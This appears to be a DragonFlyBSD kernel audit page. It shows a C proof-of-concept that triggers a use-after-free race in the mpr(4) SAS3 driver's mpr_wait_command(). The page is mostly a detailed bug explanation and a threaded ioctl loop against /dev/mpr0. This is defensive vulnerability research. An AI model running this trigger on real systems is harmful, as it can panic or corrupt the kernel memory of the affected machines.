โฌข DragonFlyBSD Kernel Audit
DF-3813 / poc_concurrent_reinit.c
โ† back to finding โ†“ download raw
/*
 * DF-3813 โ€” mpr(4) mpr_wait_command() wakeup-path use-after-free
 *                                                           trigger sketch
 *
 * Bug (sys/dev/raid/mpr/mpr.c):
 *   mpr_wait_command() puts the calling thread to sleep on the command:
 *       error = lksleep(cm, &sc->mpr_lock, 0, "mprwait", timeout*hz);
 *   If ANOTHER thread performs a diag-reset reinit (any command timeout,
 *   the periodic FAULT watchdog, a TM timeout) *and* the IOC Facts changed
 *   across the reset, that reinit:
 *     1. mprsas_complete_all_commands() wakes the sleeper (wakeup(cm)) but
 *        does NOT free the command (it is still owned by the sleeper), then
 *     2. mpr_iocfacts_allocate(..., attaching=FALSE) -> mpr_iocfacts_free()
 *        kfrees the ENTIRE sc->commands[] array out from under the sleeper.
 *   The sleeper reacquires the lock, lksleep() returns 0 and the function
 *   returns SUCCESS with *cmp pointing into freed memory.  Only the
 *   function's *own* EWOULDBLOCK path checks MPR_FLAGS_REALLOCATED
 *   (mpr.c:3611) โ€” the woken-by-concurrent-reinit path does not, and
 *   neither does mpr_request_polled()'s polling loop (mpr.c:3641).
 *   Callers then do e.g.  callout_stop(&cm->cm_callout),
 *   rpl = cm->cm_reply, mpr_free_command(sc, cm)  on the dangling pointer
 *   (see mpr_sas_lsi.c:1173, mpr_user.c:701/846/1050/1300/1394).
 *
 * Required setup to actually fire (NOT available on the audit guest):
 *   - a SAS3 controller (/dev/mpr0),
 *   - firmware whose IOC Facts differ across a diag reset (e.g. mid
 *     firmware upgrade, or a controller that faults and comes back with
 *     different RequestCredit/MaxTargets/IOCCapabilities), so the reinit
 *     takes the reallocating path (mpr.c:551-576),
 *   - a concurrent synchronous command sleeper (this program) plus an
 *     independent reinit trigger (I/O timeouts from any unprivileged
 *     user doing raw I/O against a wedged target, the FAULT watchdog,
 *     or a second root ioctl user).
 *
 * This program compiles and runs; on a machine without the controller it
 * exits with "open /dev/mpr0: No such file or directory" (honest negative).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* mirror of struct mpr_usr_command, sys/dev/raid/mpr/mpr_ioctl.h:116 */
struct mpr_usr_command_df {
	void		*req;
	unsigned	 req_len;
	void		*rpl;
	unsigned	 rpl_len;
	void		*buf;
	int		 len;
	unsigned	 flags;
};
#define MPRIO_MPR_COMMAND_DF _IOWR('M', 210, struct mpr_usr_command_df)

/* MPI2_REQUEST_HEADER.Function lives at byte offset 3 (mpi2.h:855-866) */
#define MPI2_FUNCTION_IOC_FACTS_DF 0x03

static int fd = -1;
static volatile int stop;

/*
 * Thread A โ€” the future UAF victim: synchronous IOC Facts requests, each
 * of which sleeps in the kernel exactly like mpr_user_command()'s
 * mpr_wait_command(sc, &cm, 30, CAN_SLEEP) (mpr_user.c:701).
 */
static void *
waiter_thread(void *arg)
{
	unsigned char req[64], rpl[128];
	struct mpr_usr_command_df cmd;

	(void)arg;
	memset(&cmd, 0, sizeof(cmd));
	memset(req, 0, sizeof(req));
	memset(rpl, 0, sizeof(rpl));
	req[3] = MPI2_FUNCTION_IOC_FACTS_DF;	/* Function */

	cmd.req = req;		cmd.req_len = sizeof(req);
	cmd.rpl = rpl;		cmd.rpl_len = sizeof(rpl);
	cmd.buf = NULL;		cmd.len = 0;
	cmd.flags = 0;

	while (!stop) {
		if (ioctl(fd, MPRIO_MPR_COMMAND_DF, &cmd) < 0)
			perror("MPRIO_MPR_COMMAND");
		/*
		 * After a concurrent reallocating reinit this ioctl can
		 * return 0 while the kernel-side cm was already freed:
		 * the UAF happens inside mpr_user_command()/free path
		 * (kernel), not here โ€” look for the panic/corruption in
		 * the console log, not in this process.
		 */
	}
	return (NULL);
}

int
main(void)
{
	pthread_t th;

	fd = open("/dev/mpr0", O_RDWR);
	if (fd < 0) {
		printf("DF-3813: open /dev/mpr0: %s โ€” no SAS3 controller "
		    "present, cannot exercise mpr_wait_command()\n",
		    strerror(errno));
		return (1);
	}
	printf("DF-3813: controller present; starting synchronous waiter "
	    "thread. Now force a diag reset whose IOC Facts differ (e.g. via "
	    "I/O timeouts on a wedged target or FW-upgrade reset) while this "
	    "runs.\n");
	pthread_create(&th, NULL, waiter_thread, NULL);
	sleep(120);
	stop = 1;
	pthread_join(th, NULL);
	close(fd);
	return (0);
}